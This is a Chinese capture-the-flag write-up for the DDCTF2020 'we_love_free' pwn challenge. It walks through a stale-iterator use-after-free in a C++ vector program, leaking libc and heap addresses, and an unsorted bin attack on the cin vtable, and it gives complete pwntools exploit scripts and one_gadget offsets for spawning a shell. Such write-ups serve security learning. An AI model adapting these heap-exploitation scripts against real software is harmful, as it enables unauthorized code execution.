DDCTF2020-PWN-we_love_free

本题涉及的知识点有vector的内存分配机制,malloc conlisdate的触发条件以及unsorted bin attackd和c++虚表

  • 修改的时候存在越界写--》修改unsorted bin的bk
  • 找到能够用到的虚表,提前在内存地址上布置好oneshot

vector

template<class _Ty,
    class _Ax>
    class vector
        : public _Vector_val<_Ty, _Ax>
    {   // varying size array of values
public:
    /********/
protected:
    pointer _Myfirst;   // pointer to beginning of array
    pointer _Mylast;    // pointer to current end of sequence
    pointer _Myend; // pointer to end of array
    }

vector 的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90…..

函数add

unsigned __int64 add()
{
  __int64 v0; // rax
  char v2; // [rsp+0h] [rbp-10h]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input your num:");
  std::istream::operator>>(&std::cin, &v2);
  emplace_back((__int64)&vector_605380, (__int64)&v2);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "ok!");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  return __readfsqword(0x28u) ^ v3;
}

每次添加一个元素,这里注意下emplace_back的实现,会比较当前容器的容量和end指针大小,如果没有剩余的空间就会重新扩展容器,否则将元素添加到末尾。

函数show

unsigned __int64 show()
{
  v8 = 1;
  iterator = vector_605380;                 // 漏洞点
  push__back((__int64)&vector_605380, 0xAABBCCDDLL);
  v9 =  vector_605380 + 8;
  qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
  while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
  {
    v0 = *(_QWORD *)get_addr((__int64)&iterator);
    cout<<v8++<<":"<<v0<<endl;
    cout<<"Edit (y/n):";
    v7 = cin;
    if ( v7 == 'y' )
    {
      *iterator = cin;
    }
    iterator += 8;
  }
}
  • 需要注意以下几点:
    • 每次进入show函数都会调用push__back函数加入一个0xAABBCCDDLL元素
    • 如果之前分配的vector大小不够,会调用_M_emplace_back_aux扩展内存后再存储0xAABBCCDDLL
      • 此时会将一些chunk free掉,比如第一次add元素后
0x605380:   0x0000000000ed4c20  0x0000000000ed4c28
             【vector结构的start】   【vector结构的end】
0x605390:   0x0000000000ed4c28  0x0000000000000000
                【vector结构的capacity】         【iterator】

pwndbg> x /40gx 0x0000000000ed4c00
0xed4c00:   0x0000000000000000  0x0000000000000000
0xed4c10:   0x0000000000000000  0x0000000000000021
0xed4c20:   0x000000000000000b  0x0000000000000000
0xed4c30:   0x0000000000000000  0x00000000000203d1

然后show,会添加一个元素,之前申请的大小不够用(capacity - end < 8),会将0xed4c10处的chunk释放掉重新分配一个chunk(虽然第一次申请的chunk大小其实够用,但是其容量是根据capacity - end 计算的,因此会重新申请)

pwndbg> x /30gx 0x605380
0x605380:   0x0000000000ed4c40  0x0000000000ed4c50
0x605390:   0x0000000000ed4c50  0x0000000000ed4c20
0x6053a0:   0x0000000000ed4c48
pwndbg> x /40gx 0x0000000000ed4c00
0xed4c00:   0x0000000000000000  0x0000000000000000
0xed4c10:   0x0000000000000000  0x0000000000000021  // freed chunk
0xed4c20:   0x0000000000000000  0x0000000000000000
0xed4c30:   0x0000000000000000  0x0000000000000021  // new chunk
0xed4c40:   0x000000000000000b  0x00000000aabbccdd
0xed4c50:   0x0000000000000000  0x00000000000203b1

漏洞点1

  • iterator在push__back前后代表的实际意义可能不一样

  • push_back函数可能导致之前的vector内存空间释放并返回新的内存指针

  • 释放后的空间内容并没有清0

  • 那么后续从iterator开始遍历的时候就可以leak处iterator变化前后的内存地址的内容

    • 如果有free的unsortbin,那么就可以泄露出libc地址
    • 如果有free的fastbin,那么就可以泄露heap地址
unsigned __int64 show()
{
  v8 = 1;
  iterator = vector_605380;                 // 漏洞点
  push__back((__int64)&vector_605380, 0xAABBCCDDLL);
  v9 =  vector_605380 + 8;
  qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
  while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
  {
    v0 = *(_QWORD *)get_addr((__int64)&iterator);
    cout<<v8++<<":"<<v0<<endl;
    cout<<"Edit (y/n):";
    v7 = cin;
    if ( v7 == 'y' )
    {
      *iterator = cin;
    }
    iterator += 8;
  }
}

漏洞点1利用

既然存在越界读,那么可以尝试构造一个unsortbin来leak出libc的地址:

  • add足够多的元素,使得容器扩展过程中的free的chunk为unsortedbin
  • 当add16个元素时,vector所占用空间大小正好为0x90且剩余容量为0:
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001b6dce0  0x0000000001b6dd60
0x605390:   0x0000000001b6dd60  0x0000000000000000
pwndbg> x /90gx 0x1b6dcd0
0x1b6dcd0:  0x0000000000000000  0x0000000000000091
0x1b6dce0:  0x0000000000000000  0x0000000000000001
0x1b6dcf0:  0x0000000000000002  0x0000000000000003
0x1b6dd00:  0x0000000000000004  0x0000000000000005
0x1b6dd10:  0x0000000000000006  0x0000000000000007
0x1b6dd20:  0x0000000000000008  0x0000000000000009
0x1b6dd30:  0x000000000000000a  0x000000000000000b
0x1b6dd40:  0x000000000000000c  0x000000000000000d
0x1b6dd50:  0x000000000000000e  0x000000000000000f
0x1b6dd60:  0x0000000000000000  0x00000000000202a1

  • 此时show,push_back正好会扩展且将之前的内存空间释放掉,进入unsorted bin
pwndbg> bins
fastbins
0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0
0x30: 0x1ae3c50 ◂— 0x0
0x40: 0x0
0x50: 0x1ae3c80 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x1ae3cd0 —▸ 0x7f60b55e4b78 (main_arena+88) ◂— 0x1ae3cd0
smallbins
empty
largebins
empty
pwndbg> x /90gx 0x1ae3c10
0x1ae3c10:  0x0000000000000000  0x0000000000000021
0x1ae3c20:  0x0000000000000000  0x0000000000000000
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x0000000001ae3c10  0x0000000000000001
0x1ae3c50:  0x0000000000000000  0x0000000000000031
0x1ae3c60:  0x0000000000000000  0x0000000000000001
0x1ae3c70:  0x0000000000000002  0x0000000000000003
0x1ae3c80:  0x0000000000000000  0x0000000000000051
0x1ae3c90:  0x0000000000000000  0x0000000000000001
0x1ae3ca0:  0x0000000000000002  0x0000000000000003
0x1ae3cb0:  0x0000000000000004  0x0000000000000005
0x1ae3cc0:  0x0000000000000006  0x0000000000000007
0x1ae3cd0:  0x0000000000000000  0x0000000000000091    // free chunk
0x1ae3ce0:  0x00007f60b55e4b78  0x00007f60b55e4b78
0x1ae3cf0:  0x0000000000000002  0x0000000000000003
0x1ae3d00:  0x0000000000000004  0x0000000000000005
0x1ae3d10:  0x0000000000000006  0x0000000000000007
0x1ae3d20:  0x0000000000000008  0x0000000000000009
0x1ae3d30:  0x000000000000000a  0x000000000000000b
0x1ae3d40:  0x000000000000000c  0x000000000000000d
0x1ae3d50:  0x000000000000000e  0x000000000000000f
0x1ae3d60:  0x0000000000000090  0x0000000000000110
0x1ae3d70:  0x0000000000000000  0x0000000000000001    // new chunk
0x1ae3d80:  0x0000000000000002  0x0000000000000003
0x1ae3d90:  0x0000000000000004  0x0000000000000005
0x1ae3da0:  0x0000000000000006  0x0000000000000007
0x1ae3db0:  0x0000000000000008  0x0000000000000009
0x1ae3dc0:  0x000000000000000a  0x000000000000000b
0x1ae3dd0:  0x000000000000000c  0x000000000000000d
0x1ae3de0:  0x000000000000000e  0x000000000000000f
0x1ae3df0:  0x0000000000000010  0x0000000000000000
0x1ae3e00:  0x0000000000000000  0x0000000000000000
0x1ae3e10:  0x0000000000000000  0x0000000000000000
0x1ae3e20:  0x0000000000000000  0x0000000000000000
0x1ae3e30:  0x0000000000000000  0x0000000000000000
0x1ae3e40:  0x0000000000000000  0x0000000000000000
0x1ae3e50:  0x0000000000000000  0x0000000000000000
0x1ae3e60:  0x0000000000000000  0x0000000000000000
0x1ae3e70:  0x0000000000000000  0x0000000000020191
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001ae3d70  0x0000000001ae3df8
0x605390:   0x0000000001ae3e70  0x0000000000000000
  • 此时clear,清空容器,会触发unsortbin的前向合并,将main_arena信息写入较低的堆地址
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x00000000000203f1
0x1ae3c20:  0x00007f60b55e4b78  0x00007f60b55e4b78
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x00007f60b55e4b78  0x00007f60b55e4b78
0x1ae3c50:  0x0000000000000040  0x0000000000000030
0x1ae3c60:  0x0000000000000000  0x0000000000000001
  • 随后再次利用add一个元素申请0x20大小的chunk
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x0000000000000021
0x1ae3c20:  0x0000000000000001  0x00007f60b55e4b78
  • 此时我们再次show,push_back的时候会释放容量不够的chunk:
    • 此时我们利用iterator记录是的push_back之前的起始位置的漏洞
    • 可以泄露紧邻的main arena地址0x00007f60b55e4b78
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x0000000000000021   
0x1ae3c20:  0x0000000000000000  0x00007f60b55e4b78
                        【old iterator】
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x0000000000000001  0x00000000aabbccdd
0x1ae3c50:  0x0000000000000040  0x00000000000203b1
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001ae3c40  0x0000000001ae3c50
0x605390:   0x0000000001ae3c50  0x0000000001ae3c20
0x6053a0:   0x0000000001ae3c48  0x0000000000000000
  • 同理我们等这次show完毕后,再次show,会再次添加一个元素,将之前0x20大小的chunk释放掉
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x0000000000000021
0x1ae3c20:  0x0000000000000000  0x00007f60b55e4b78
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x0000000001ae3c10  0x00000000aabbccdd
0x1ae3c50:  0x0000000000000040  0x0000000000000031
0x1ae3c60:  0x0000000000000001  0x00000000aabbccdd
0x1ae3c70:  0x00000000aabbccdd  0x0000000000000003
0x1ae3c80:  0x0000000000000070  0x0000000000020381
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001ae3c60  0x0000000001ae3c78
0x605390:   0x0000000001ae3c80  0x0000000001ae3c40
0x6053a0:   0x0000000001ae3c70  0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0  
  • 这样由于此时fastbins中存在两个chunk,我们就可以利用push_back的机制泄露出heap地址,具体代码如下:
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn1')
elf = ELF('./pwn1')
  
def add(num):
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline(num)

def clear():
    p.recv()
    p.sendline("3")

for x in range(17):
    add(str(x))

clear()
add(str(1))
p.recv()
p.sendline("2")
p.recv()
p.sendline("n")
p.recvuntil("2:")
libc = p.recv()
libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78
print 'libc ===>> ',hex(libc)
for x in range(4):
    p.sendline("n")

p.sendline("2")
p.recvuntil("1:")
heap = p.recv()
heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
print 'heap ===>> ',hex(heap)
for x in range(6):
    p.sendline("n")

gdb.attach(p)
p.interactive()

漏洞点2

利用push_back可能导致容器重新分配空间的机制,以及iteractor是在push_back之前计算的,因此可以在show的时候进行UAF,篡改堆块的头部,构造unsorted bin attack覆写cin或者cout的虚表

漏洞点2利用

  • 先add16个元素,然后show的时候会触发vector的内存分配机制,将之前的0x50大小的chunk释放掉申请一个0x90大小的chunk,这样释放掉的chunk会进入unsorted bin
for x in range(16):
    add(str(x))
"""
0xd6ecd0:   0x0000000000000000  0x0000000000000091  // start   freed chunk
0xd6ece0:   0x00007ff4f6240b78  0x00007ff4f6240b78
0xd6ecf0:   0x0000000000000002  0x0000000000000003
0xd6ed00:   0x0000000000000004  0x0000000000000005
0xd6ed10:   0x0000000000000006  0x0000000000000007
0xd6ed20:   0x0000000000000008  0x0000000000000009
0xd6ed30:   0x000000000000000a  0x000000000000000b
0xd6ed40:   0x000000000000000c  0x000000000000000d
0xd6ed50:   0x000000000000000e  0x000000000000000f
0xd6ed60:   0x0000000000000090  0x0000000000000110 // after push_back extend chunk
0xd6ed70:   0x0000000000000000  0x0000000000000001 // we can modify this size 
0xd6ed80:   0x0000000000000002  0x0000000000000003
0xd6ed90:   0x0000000000000004  0x0000000000000005
0xd6eda0:   0x0000000000000006  0x0000000000000007
0xd6edb0:   0x0000000000000008  0x0000000000000009
0xd6edc0:   0x000000000000000a  0x000000000000000b
0xd6edd0:   0x000000000000000c  0x000000000000000d
"""
p.sendline("2")
p.recv()
p.sendline("n")


p.recv()
p.sendline("y")
p.sendline(str(0x6051f8-0x10)) # freed chunk bk

for x in range(32):
    p.sendline("y")
    p.sendline(str(0x71))  # change uesd chunk smaller

clear()

# malloc a 0x90 unsorted bin 
for i in range(0x8):
    add(str(0xcafebabedeadbeef))

# add another one will free the unsorted bin malloced before and trigger malloc_consolidate
# and malloc_consolidate will wirte bk-0x10 with 
add(str(0xcafebabedeadbeef))
gdb.attach(p)
p.interactive()

unsortd bin acttack

main_arene->bk --> unsortd bin的首个chunk

victim = unsorted_chunks(av)->bk // victim为free掉的p 
bck = victim->bk;  // bck 为 任意地址 -0x10    // cin的虚表-0x10
unsorted_chunks(av)->bk = bck; // 调整链表
bck->fd = unsorted_chunks(av); //  任意地址 -0x10 + 0x10 = unsortedbin
// 而unsortedbin对应的内存地址上可以是我们提前布置好的内容

调试cin虚表

在data段上有指针指向他们虚表, 原本的执行情况:

0x6051e0 <_ZSt3cin+224>:    0x00007fbbb4be67a0  0x0000000000605240
0x6051f0 <_ZSt3cin+240>:    0x0000000000000000  0x00007fbbb4be47c0  // 覆写位置 虚表
0x605200 <_ZSt3cin+256>:    0x00007fbbb4be61c0  0x00007fbbb4be6150
0x605210 <_ZSt3cin+272>:    0x00007fbbb4be6160  0x0000000000000000
0x605220 <stdin>:   0x00007fbbb464a8e0  0x0000000000000000
0x605230:   0x0000000000000000  0x0000000000000000
pwndbg> x /10gx 0x00007fbbb4be47c0
0x7fbbb4be47c0: 0x00007fbbb4bde080  0x0000000000000000
0x7fbbb4be47d0: 0x0000000000000000  0x0000000000000000
0x7fbbb4be47e0: 0x0000000000000000  0x0000000000000000
0x7fbbb4be47f0: 0x0000000000000000  0x00007fbbb4be67a0      // 执行的代码
0x7fbbb4be4800: 0x00007fbbb464a8e0  0x000000000000000a

使用unsorted bin attack修改其为main arena的一个地址,会报错:Invalid address 0x4148

0x6051e0 <_ZSt3cin+224>:    0x00007fcbfc6fc7a0  0x0000000000605240
0x6051f0 <_ZSt3cin+240>:    0x0000000000000000  0x00007fcbfc160b78  // unsorted bin attack
0x605200 <_ZSt3cin+256>:    0x00007fcbfc6fc1c0  0x00007fcbfc6fc150
0x605210 <_ZSt3cin+272>:    0x00007fcbfc6fc160  0x0000000000000000
0x605220 <stdin>:   0x00007fcbfc1608e0  0x0000000000000000
0x605230:   0x0000000000000000  0x0000000000000000
pwndbg> x /gx 0x00007fcbfc160b78
0x7fcbfc160b78 <main_arena+88>: 0x0000000000f3fe70
pwndbg> x /30gx 0x0000000000f3fe70
0xf3fe70:   0x00000000000001a0  0x0000000000020191
0xf3fe80:   0x0000000000004141  0x0000000000004142
0xf3fe90:   0x0000000000004143  0x0000000000004144
0xf3fea0:   0x0000000000004145  0x0000000000004146
0xf3feb0:   0x0000000000004147  0x0000000000004148  // 实际代码执行位置

因此只需要提前布置onshot即可

exp

#!/usr/bin/env python

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn1')
elf = ELF('./pwn1')


def add(num):
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline(num)

def clear():
    p.recv()
    p.sendline("3")

for x in range(17):
    add(str(x))

clear()
add(str(1))

p.recv()
p.sendline("2")
p.recv()
p.sendline("n")

p.recvuntil("2:")
libc = p.recv()
libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78 + 0x309000
print 'libc ===>> ',hex(libc)

for x in range(4):
    p.sendline("n")

p.sendline("2")
p.recvuntil("1:")
heap = p.recv()
heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
print 'heap ===>> ',hex(heap)

for x in range(6):
    p.sendline("n")

clear()

for i in range(0x21):
    add(str(0x4526a+libc))
clear()

for x in range(16):
    add(str(x))
"""
0xd6ecd0:   0x0000000000000000  0x0000000000000091  // start   freed chunk
0xd6ece0:   0x00007ff4f6240b78  0x00007ff4f6240b78
0xd6ecf0:   0x0000000000000002  0x0000000000000003
0xd6ed00:   0x0000000000000004  0x0000000000000005
0xd6ed10:   0x0000000000000006  0x0000000000000007
0xd6ed20:   0x0000000000000008  0x0000000000000009
0xd6ed30:   0x000000000000000a  0x000000000000000b
0xd6ed40:   0x000000000000000c  0x000000000000000d
0xd6ed50:   0x000000000000000e  0x000000000000000f
0xd6ed60:   0x0000000000000090  0x0000000000000110 // after push_back extend chunk
0xd6ed70:   0x0000000000000000  0x0000000000000001 // we can modify this size 
0xd6ed80:   0x0000000000000002  0x0000000000000003
0xd6ed90:   0x0000000000000004  0x0000000000000005
0xd6eda0:   0x0000000000000006  0x0000000000000007
0xd6edb0:   0x0000000000000008  0x0000000000000009
0xd6edc0:   0x000000000000000a  0x000000000000000b
0xd6edd0:   0x000000000000000c  0x000000000000000d
"""
p.sendline("2")
p.recv()
p.sendline("n")


p.recv()
p.sendline("y")
p.sendline(str(0x6051f8-0x10)) # freed chunk bk

for x in range(32):
    p.sendline("y")
    p.sendline(str(0x71))  # change uesd chunk smaller

clear()

# malloc a 0x90 unsorted bin 
for i in range(0x8):
    add(str(0xcafebabedeadbeef))

# add another one will free the unsorted bin malloced before and trigger malloc_consolidate
# and malloc_consolidate will wirte bk-0x10 with 
add(str(0xcafebabedeadbeef))
gdb.attach(p)
p.interactive()

"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ) // ok
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""

参考

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,133评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,682评论 3 390
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,784评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,508评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,603评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,607评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,604评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,359评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,805评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,121评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,280评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,959评论 5 339
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,588评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,206评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,442评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,193评论 2 367
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,144评论 2 352